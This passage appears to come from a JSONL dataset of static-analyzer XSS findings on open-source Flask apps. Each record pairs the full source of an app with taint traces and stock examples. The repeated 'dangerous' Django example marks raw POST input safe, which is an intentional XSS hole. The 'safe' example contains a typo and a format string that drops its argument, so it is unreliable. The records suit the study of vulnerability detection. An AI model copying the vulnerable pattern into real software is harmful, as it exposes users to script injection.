\"views/templates/edit-template-postage.html\",\n        form=form,\n        service_id=service_id,\n        template_id=template_id,\n        template_postage=template[\"postage\"],\n    )\n\n\ndef get_template_sender_form_dict(service_id, template):\n    context = {\n        \"email\": {\"field_name\": \"email_address\"},\n        \"letter\": {\"field_name\": \"contact_block\"},\n        \"sms\": {\"field_name\": \"sms_sender\"},\n    }[template[\"template_type\"]]\n\n    sender_format = context[\"field_name\"]\n    service_senders = get_sender_details(service_id, template[\"template_type\"])\n    context[\"default_sender\"] = next((x[\"id\"] for x in service_senders if x[\"is_default\"]), \"Not set\")\n    if not service_senders:\n        context[\"no_senders\"] = True\n\n    context[\"value_and_label\"] = [(sender[\"id\"], Markup(nl2br(sender[sender_format]))) for sender in service_senders]\n    context[\"value_and_label\"].insert(0, (\"\", \"Blank\"))  # Add blank option to start of list\n\n    context[\"current_choice\"] = template[\"service_letter_contact\"] if template[\"service_letter_contact\"] else \"\"\n    return context\n\n\ndef get_human_readable_delta(from_time, until_time):\n    delta = until_time - from_time\n    if delta < timedelta(seconds=60):\n        return \"under a minute\"\n    elif delta < timedelta(hours=1):\n        minutes = int(delta.seconds / 60)\n        return \"{} minute{}\".format(minutes, \"\" if minutes == 1 else \"s\")\n    elif delta < timedelta(days=1):\n        hours = int(delta.seconds / 3600)\n        return \"{} hour{}\".format(hours, \"\" if hours == 1 else \"s\")\n    else:\n        days = delta.days\n        return \"{} day{}\".format(days, \"\" if days == 1 else \"s\")", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 405, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 405, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 405, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 409, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_service_template"}}, {"lineNo": 409, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_service_template[\"data\"]"}}, {"lineNo": 409, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 426, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "0d94105374262ffcbdf77c5215d7b3536a20fa698b04ae548d2c360930286871", "license": {"spdx": ["MIT"], "repo": "shaswat01/Disaster_Response_ETL", "path": "app/app.py", "repo_head_hexsha": "c441514fb5231d193cd4b29afad00fe0f3513562", "stack_hexsha": "436d01399c03b77d98f4cf23e9025181a7999308", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 134, "entireCode": "import nltk\nimport json\nimport plotly\nimport pandas as pd\nimport plotly.graph_objects as go\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\nnltk.download(['punkt','wordnet'])\n\nfrom flask import Flask\nfrom flask import render_template, request, jsonify\nfrom plotly.graph_objs import Bar, Histogram\nimport joblib\nfrom sqlalchemy import create_engine\n\n\napp = Flask(__name__)\n\ndef tokenize(text):\n    tokens = word_tokenize(text)\n    lemmatizer = WordNetLemmatizer()\n\n    clean_tokens = []\n    for tok in tokens:\n        clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n        clean_tokens.append(clean_tok)\n\n    return clean_tokens\n\n# load data\nengine = create_engine('sqlite:///data/DisasterResponse.db')\ndf = pd.read_sql_table('messages', engine)\n\n# load model\nmodel = joblib.load(\"models/model.pkl\")\n\n\n# index webpage displays cool visuals and receives user input text for model\n@app.route('/')\n@app.route('/index')\ndef index():\n    \n    # extract data needed for visuals\n    # Viz 1\n    genre = df.groupby('genre').count()['id'].sort_values()\n    \n    # Viz 2\n    df['text length'] = df['message'].apply(lambda x: len(x.split()))\n    histogram = df[df['text length'] < 100].groupby('text length').count()['id']\n\n    # Viz 3\n    total_category = df.drop(columns=['id','message','original','genre', 'text length']).sum().sort_values(ascending=False).head(5)\n\n    # create visuals\n    graphs = [\n        {\n            'data': [\n                Bar(\n                    x=genre.values,\n                    y=genre.index,\n                    orientation='h'\n                )\n            ],\n\n            'layout': {\n                'title': 'Distribution of Message Genres',\n                'yaxis': {\n                    'title': \"Genre\"\n                },\n                'xaxis': {\n                    'title': \"Counts\"\n                }\n            }\n        },\n\n        {\n            'data': [\n                Bar(\n                    x=histogram.index,\n                    y=histogram.values\n                )\n            ],\n\n            'layout': {\n                'title': 'Distribution of Messages Length',\n                'yaxis': {\n                    'title': \"Total Messages\"\n                },\n                'xaxis': {\n                    'title': \"Total Words\"\n                }\n            }\n        },\n\n        {\n            'data': [\n                Bar(\n                    x=total_category.index,\n                    y=total_category.values\n                )\n            ],\n\n            'layout': {\n                'title': 'Total Messages per Category (Top 5)',\n                'yaxis': {\n                    'title': \"Total\"\n                },\n                'xaxis': {\n                    'title': \"Category\"\n                }\n            }\n        }\n    ]\n    \n    # encode plotly graphs in JSON\n    ids = [\"graph-{}\".format(i) for i, _ in enumerate(graphs)]\n    graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder)\n    \n    # render web page with plotly graphs\n    return render_template('master.html', ids=ids, graphJSON=graphJSON)\n\n\n# web page that handles user query and displays model results\n@app.route('/go')\ndef go():\n    # save user input in query\n    query = request.args.get('query', '') \n\n    # use model to predict classification for query\n    classification_labels = model.predict([query])[0]\n    classification_results = dict(zip(df.columns[4:], classification_labels))\n\n    # This will render the go.html Please see that file. \n    return render_template(\n        'go.html',\n        query=query,\n        classification_result=classification_results\n    )\n\n\ndef main():\n    app.run()\n    #app.run(host='0.0.0.0', port=3001, debug=True)\n\n\nif __name__ == '__main__':\n    main()\n", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 127, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 127, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 127, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 127, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 134, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "4049120abc1320a476626012bf2a9f0cd68dc9b8d05d86027f8a3f9e26defbae", "license": {"spdx": ["MIT"], "repo": "Annapurnaj91/kickstarter3", "path": "kickstarter/app.py", "repo_head_hexsha": "372b2fd53b0b2b35dad210a7d6d54baff1a16204", "stack_hexsha": "3132c447ee024e396e1324d642bb304d3461295b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 31, "entireCode": "from flask import Flask, render_template, request\n# from .recommendation import *\n# import pickle\nimport pandas as pd\nimport numpy as np\n# import keras\n# from keras.models import load_model\nimport pickle\n\ndef create_app():\n    # initializes our app\n    APP = Flask(__name__)\n\n    @APP.route('/')\n    def form():\n        return render_template('base.html')\n    @APP.route('/data/', methods=['GET', 'POST'])\n    def data():\n\n        if request.method == 'POST':\n            # Get form data\n            name = request.form.get('name')\n            blurb = request.form.get('blurb', 'default')\n            country = request.form.get('country', 'default')\n            backers_count = request.form.get('backers_count', 'default')\n\n            prediction = preprocessDataAndPredict(name, blurb, country,\n                                 backers_count)\n\n            # print(prediction[0])\n            return render_template('data.html', prediction=prediction[0])\n\n    def preprocessDataAndPredict(name, blurb, country, backers_count):\n\n        # test_data = (blurb)\n        test_data = (name, blurb, country, backers_count)\n        # print(test_data)\n\n        test_data = np.array(test_data)\n        dftest = pd.DataFrame(test_data).T\n        dftest.columns = ['name', 'blurb', 'country', 'backers_count']\n        print(dftest)\n        print(dftest.shape)\n\n        # test_data = test_data.reshape(1, -1)\n        # print(test_data)\n\n        #file = open(\"model.pkl\", \"wb\")\n        model = pickle.load(\n            open('model_knn', 'rb'))\n        # model = pickle.load(\n        #     open('Kickstarter2/kickstarter/kick_model(1)', 'rb'))\n\n        prediction = model.predict(dftest)\n\n        # print(prediction)\n\n        return prediction\n\n        # return prediction\n    return APP", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "21"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "preprocessDataAndPredict"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "preprocessDataAndPredict"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "preprocessDataAndPredict"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "predictioncreate_app.data.prediction[0]"}}, {"lineNo": 31, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "fa0923fdd7f94f650f79d3e0d5b104c3490cdc15b9b846c1aa810eb5c978bb79", "license": {"spdx": ["OLDAP-2.3"], "repo": "iio1989/oshite", "path": "app.py", "repo_head_hexsha": "dd95eced2630929705670aaf23be5f35df3b9737", "stack_hexsha": "8267a45960a2743e88617d4dc273ba1a2f8b4aea", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 17, "entireCode": "from flask import Flask, render_template, request, redirect, url_for, Markup\nimport app_helper as apHelp\n\napp = Flask(__name__)\n\n@app.route('/')\ndef root():\n    return render_template('home.html')\n\n# click convetBtn. get HttpParam.\n@app.route('/post', methods=['GET', 'POST'])\ndef post():\n    if request.method == 'POST':\n        input_kana = request.form['input_kana']\n        converted_input_list = apHelp.getConvetedStr_kanaToOshite(input_kana)\n        # rendering for home.html.\n        return render_template('home.html',\n                               input_kana=input_kana,\n                               converted_input_list=converted_input_list,\n                               fileType= apHelp.FILE_TYPE)\n    else: # error redirect.\n        return redirect(url_for('home'))\n\n# click homeBtn from header.\n@app.route('/home', methods=['GET', 'POST'])\ndef home():\n    return render_template('home.html')\n\n# click aboutBtn from header.\n@app.route('/about', methods=['GET', 'POST'])\ndef about():\n    return render_template('about.html')\n\n# click historyBtn from header.\n@app.route('/history', methods=['GET', 'POST'])\ndef history():\n    return render_template('history.html')\n\nif __name__ == '__main__':\n    app.run(debug=True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 13, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "13"}}, {"lineNo": 14, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 14, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 14, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"input_kana\"]"}}, {"lineNo": 14, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 17, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "a69d67b5b472d69523834db3d42644eb751ccfb5f5e9796ba1beec2b67770c97", "license": {"spdx": ["Apache-2.0"], "repo": "jasoncordis/spotify-flask", "path": "app.py", "repo_head_hexsha": "1e7f2955ab9d825a5f32f494b2966f18c460f311", "stack_hexsha": "fb4e27ed9f0165f7474ca1a89bce202114f9a019", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 47, "entireCode": "'''\n    This code was based on these repositories,\n    so special thanks to:\n        https://github.com/datademofun/spotify-flask\n        https://github.com/drshrey/spotify-flask-auth-example\n\n'''\n\nfrom flask import Flask, request, redirect, g, render_template, session\nfrom spotify_requests import spotify\n\napp = Flask(__name__)\napp.secret_key = 'some key for session'\n\n# ----------------------- AUTH API PROCEDURE -------------------------\n\n@app.route(\"/auth\")\ndef auth():\n    return redirect(spotify.AUTH_URL)\n\n\n@app.route(\"/callback/\")\ndef callback():\n\n    auth_token = request.args['code']\n    auth_header = spotify.authorize(auth_token)\n    session['auth_header'] = auth_header\n\n    return profile()\n\ndef valid_token(resp):\n    return resp is not None and not 'error' in resp\n\n# -------------------------- API REQUESTS ----------------------------\n\n\n@app.route(\"/\")\ndef index():\n    return render_template('index.html')\n\n\n@app.route('/search/')\ndef search():\n    try:\n        search_type = request.args['search_type']\n        name = request.args['name']\n        return make_search(search_type, name)\n    except:\n        return render_template('search.html')\n\n\n@app.route('/search//')\ndef search_item(search_type, name):\n    return make_search(search_type, name)\n\n\ndef make_search(search_type, name):\n    if search_type not in ['artist', 'album', 'playlist', 'track']:\n        return render_template('index.html')\n\n    data = spotify.search(search_type, name)\n    api_url = data[search_type + 's']['href']\n    items = data[search_type + 's']['items']\n\n    return render_template('search.html',\n                           name=name,\n                           results=items,\n                           api_url=api_url,\n                           search_type=search_type)\n\n\n@app.route('/artist/')\ndef artist(id):\n    artist = spotify.get_artist(id)\n\n    if artist['images']:\n        image_url = artist['images'][0]['url']\n    else:\n        image_url = 'http://bit.ly/2nXRRfX'\n\n    tracksdata = spotify.get_artist_top_tracks(id)\n    tracks = tracksdata['tracks']\n\n    related = spotify.get_related_artists(id)\n    related = related['artists']\n\n    return render_template('artist.html',\n                           artist=artist,\n                           related_artists=related,\n                           image_url=image_url,\n                           tracks=tracks)\n\n\n@app.route('/profile')\ndef profile():\n    if 'auth_header' in session:\n        auth_header = session['auth_header']\n        # get profile data\n        profile_data = spotify.get_users_profile(auth_header)\n\n        # get user playlist data\n        playlist_data = spotify.get_users_playlists(auth_header)\n\n        # get user recently played tracks\n        recently_played = spotify.get_users_recently_played(auth_header)\n        \n        if valid_token(recently_played):\n            return render_template(\"profile.html\",\n                               user=profile_data,\n                               playlists=playlist_data[\"items\"],\n                               recently_played=recently_played[\"items\"])\n\n    return render_template('profile.html')\n\n\n@app.route('/contact')\ndef contact():\n    return render_template('contact.html')\n\n@app.route('/featured_playlists')\ndef featured_playlists():\n    if 'auth_header' in session:\n        auth_header = session['auth_header']\n        hot = spotify.get_featured_playlists(auth_header)\n        if valid_token(hot):\n            return render_template('featured_playlists.html', hot=hot)\n\n    return render_template('profile.html')\n\nif __name__ == \"__main__\":\n    app.run(debug=True, port=spotify.PORT)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 46, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "make_search"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "make_search"}}, {"lineNo": 47, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "efd491603722a1b2c81551e2328d616cc01e79d54d4e6ac7fc07168d3a671a7f", "license": {"spdx": ["MIT"], "repo": "yzj2019/database_learning", "path": "flask_demo/main.py", "repo_head_hexsha": "a9260799f96010674bb4077180ee45a51481e832", "stack_hexsha": "3f1d2166206051864985cc1f8d2162c4a056737f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 36, "entireCode": "# coding=utf-8\nimport functools\n\nfrom flask import Flask, session\nfrom flask import redirect\nfrom flask import request, make_response\nfrom flask import render_template\nfrom flask import url_for\nfrom flask_bootstrap import Bootstrap\n# 数据库处理\nfrom db import *\n# json\nimport json\n\n# 生成一个app\napp = Flask(__name__, instance_relative_config=True)\nbootstrap=Bootstrap(app)\napp.secret_key = 'lab3'\n\n# 对app执行请求页面地址到函数的绑定\n@app.route(\"/\", methods=(\"GET\", \"POST\"))\n@app.route(\"/login\", methods=(\"GET\", \"POST\"))\ndef login():\n    \"\"\"Log in a registered user by adding the user id to the session.\"\"\"\n    if request.method == \"POST\":\n        # 客户端在login页面发起的POST请求\n        username = request.form[\"username\"]\n        password = request.form[\"password\"]\n        ipaddr   = request.form[\"ipaddr\"]\n        database = request.form[\"database\"]\n\n        db = MyDefSQL(username, password, ipaddr, database)\n        err = db.login()\n\n        if err != '0':\n            return render_template(\"login_fail.html\", err=err)\n        else:\n            #print(err)\n            session['username'] = username\n            session['password'] = password\n            session['ipaddr'] = ipaddr\n            session['database'] = database\n\n            return redirect(url_for('home'))\n    else :\n        # 客户端GET 请求login页面时\n        return render_template(\"login.html\")\n\n# 主页面\n@app.route(\"/home\", methods=([\"GET\", \"POST\"]))\ndef home():\n    return render_template(\"home.html\")\n\n\n# 请求url为host/table的页面返回结果\n@app.route(\"/table\", methods=([\"GET\", \"POST\"]))\ndef table():\n    # 出于简单考虑,每次请求都需要连接数据库,可以尝试使用其它context保存数据库连接\n    if 'username' in session:\n        db = MyDefSQL(session['username'], session['password'], \n                        session['ipaddr'], session['database'])\n        err = db.login()\n    else:\n        return redirect(url_for('login'))\n    \n    tabs = db.showtablecnt()\n\n    if request.method == \"POST\":\n        if 'clear' in request.form:\n            return render_template(\"table.html\", rows = '', dbname=session['database'])\n        elif 'search' in request.form:\n            return render_template(\"table.html\", rows = tabs, dbname=session['database'])\n\n    else:\n        return render_template(\"table.html\", rows = tabs, dbname=session['database'])\n\n\n# 客户管理页面\n@app.route(\"/customer\", methods=([\"GET\", \"POST\"]))\ndef customer():\n    if 'username' in session:\n        db = MyDefSQL(session['username'], session['password'], \n                        session['ipaddr'], session['database'])\n        err = db.login()\n    else:\n        return redirect(url_for('login'))\n    \n    tabs = db.showcustomer()\n    if tabs==None:\n        tabs=\"\"\n\n    if request.method == \"POST\":\n        if 'search' in request.form:\n            # 是由search表单提交的post请求\n            searchinfo = {}\n            # print(len(request.form[u\"客户身份证号\"]))\n            for key,value in request.form.items():\n                # 注意这里key和value仍然是unicode编码,统一在db.py中处理!\n                if len(value) != 0 and key!='search':\n                    # 做第一层过滤,使得可以表单中某块信息不填\n                    searchinfo[key] = value\n            tabs = db.customer_search(searchinfo)\n            return render_template(\"customer.html\", rows = tabs, dbname=session['database'])\n        # 其它删改查需求,是由Ajax提交的post\n        datas = json.loads(request.get_data(as_text=True))\n        function = datas[\"function\"]\n        datas = datas[\"inputdata\"]\n        # print(function)\n        # print(datas[0][u\"客户身份证号\"])\n        if function == \"delete\":\n            res = {'info':'删除成功!', 'errs':[]}\n            for data in datas:\n                err = db.customer_del(data)\n                if err != '0':\n                    res['errs'].append([data[u\"客户身份证号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] = \"删除失败!\"\n            return json.dumps(res)\n        elif function == \"insert\":\n            res = {'info':'插入成功!', 'errs':[]}\n            for data in datas:\n                err = db.customer_insert(data)\n                if err != '0':\n                    res['errs'].append([data[u\"客户身份证号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] = \"插入失败!\"\n            return json.dumps(res)\n        elif function == \"update\":\n            res = {'info':'修改成功!', 'errs':[]}\n            for data in datas:\n                err = db.customer_update(data)\n                if err != '0':\n                    res['errs'].append([data[u\"客户身份证号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] = \"修改失败!\"\n            return json.dumps(res)\n\n    else:\n        return render_template(\"customer.html\", rows = tabs, dbname=session['database'])\n\n\n# 账户管理页面\n# 储蓄账户\n@app.route(\"/account/saving\", methods=([\"GET\", \"POST\"]))\ndef saving():\n    if 'username' in session:\n        db = MyDefSQL(session['username'], session['password'], \n                        session['ipaddr'], session['database'])\n        err = db.login()\n    else:\n        return redirect(url_for('login'))\n    \n    tabs = db.showaccount(True)\n    if tabs==None:\n        tabs=\"\"\n\n    if request.method == \"POST\":\n        if 'search' in request.form:\n            # 是由search表单提交的post请求\n            searchinfo = {}\n            for key,value in request.form.items():\n                # 注意这里key和value仍然是unicode编码,统一在db.py中处理!\n                if len(value) != 0 and key!='search':\n                    # 做第一层过滤,使得可以表单中某块信息不填\n                    searchinfo[key] = value\n            tabs = db.account_search(searchinfo, True)\n            return render_template(\"account_saving.html\", rows = tabs, dbname=session['database'])\n        # 其它删改查需求,是由Ajax提交的post\n        datas = json.loads(request.get_data(as_text=True))\n        function = datas[\"function\"]\n        datas = datas[\"inputdata\"]\n        # print(function)\n        if function == \"delete\":\n            res = {'info':'删除成功!', 'errs':[]}\n            for data in datas:\n                err = db.account_del(data, True)\n                if err != '0':\n                    res['errs'].append([data[u\"账户.账户号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] = \"删除失败!\"\n            return json.dumps(res)\n        elif function == \"insert\":\n            res = {'info':'插入成功!', 'errs':[]}\n            for data in datas:\n                err = db.account_insert(data, True)\n                if err != '0':\n                    res['errs'].append([data[u\"账户.账户号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] = \"插入失败!\"\n            return json.dumps(res)\n        elif function == \"update\":\n            res = {'info':'修改成功!', 'errs':[]}\n            for data in datas:\n                err = db.account_update(data, True)\n                if err != '0':\n                    res['errs'].append([data[u\"账户.账户号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] = \"修改失败!\"\n            return json.dumps(res)\n\n    else:\n        return render_template(\"account_saving.html\", rows = tabs, dbname=session['database'])\n\n\n\n# 支票账户\n@app.route(\"/account/checking\", methods=([\"GET\", \"POST\"]))\ndef checking():\n    if 'username' in session:\n        db = MyDefSQL(session['username'], session['password'], \n                        session['ipaddr'], session['database'])\n        err = db.login()\n    else:\n        return redirect(url_for('login'))\n    \n    tabs = db.showaccount(False)\n    if tabs==None:\n        tabs=\"\"\n\n    if request.method == \"POST\":\n        if 'search' in request.form:\n            # 是由search表单提交的post请求\n            searchinfo = {}\n            for key,value in request.form.items():\n                # 注意这里key和value仍然是unicode编码,统一在db.py中处理!\n                if len(value) != 0 and key!='search':\n                    # 做第一层过滤,使得可以表单中某块信息不填\n                    searchinfo[key] = value\n            tabs = db.account_search(searchinfo, False)\n            return render_template(\"account_checking.html\", rows = tabs, dbname=session['database'])\n        # 其它删改查需求,是由Ajax提交的post\n        datas = json.loads(request.get_data(as_text=True))\n        function = datas[\"function\"]\n        datas = datas[\"inputdata\"]\n        # print(function)\n        if function == \"delete\":\n            res = {'info':'删除成功!', 'errs':[]}\n            for data in datas:\n                err = db.account_del(data, False)\n                if err != '0':\n                    res['errs'].append([data[u\"账户.账户号\"],err])\n            if len(res['errs']) != 0:\n                res['info'] 